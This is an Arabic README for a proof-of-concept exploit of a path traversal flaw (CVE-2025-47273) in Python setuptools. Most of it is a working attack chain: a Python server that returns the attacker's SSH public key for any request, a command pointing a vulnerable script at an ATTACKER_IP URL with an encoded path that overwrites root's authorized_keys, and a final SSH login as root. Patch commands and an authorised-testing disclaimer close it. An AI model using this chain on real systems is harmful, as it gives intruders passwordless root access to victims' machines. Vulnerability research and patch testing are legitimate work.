
CVE-2025-47273 — إثبات مفهوم لاجتياز المسار في setuptools
استغلال لإثبات المفهوم لثغرة اجتياز المسار في Python setuptools < 78.1.1.
من خلال إساءة استخدام وظيفة _download_url في مكون PackageIndex، يمكن للمهاجم كتابة ملفات عشوائية في أي موقع على نظام الملفات — بامتيازات العملية التي تشغل setuptools.
| الحقل | التفاصيل |
|---|
| 🎯 الهدف | Python setuptools < 78.1.1 |
| 🐛 فئة الخطأ | اجتياز المسار (CWE-22) |
| 💥 التأثير | كتابة ملف عشوائية |
| 📍 ناقل الهجوم | عنوان URL لصفحة فهرس حزمة خبيثة |
| 🔍 السبب الجذري | os.path.join() يتجاهل tmpdir عندما تبدأ الوسيطة الثانية بـ / |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex من setuptools بعنوان URL يتحكم فيه المستخدم# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys
يستجيب هذا الخادم لأي طلب GET بمفتاحك العام — بغض النظر عن المسار. سوف يطلب setuptools المسار /USER/.ssh/authorized_keys ولكنه سيتلقى محتوى مفتاحك.
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
لا كلمة مرور. شل جذر مباشر. 🔑
الإصدار 78.1.1 يصلح المشكلة.
| مدير الحزم | الأمر |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu | sudo apt upgrade python3-setuptools |
| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ يدوي | setuptools releases |
يتم توفير كود إثبات المفهوم (PoC) هذا لأغراض تعليمية واختبار الاختراق المصرح به فقط.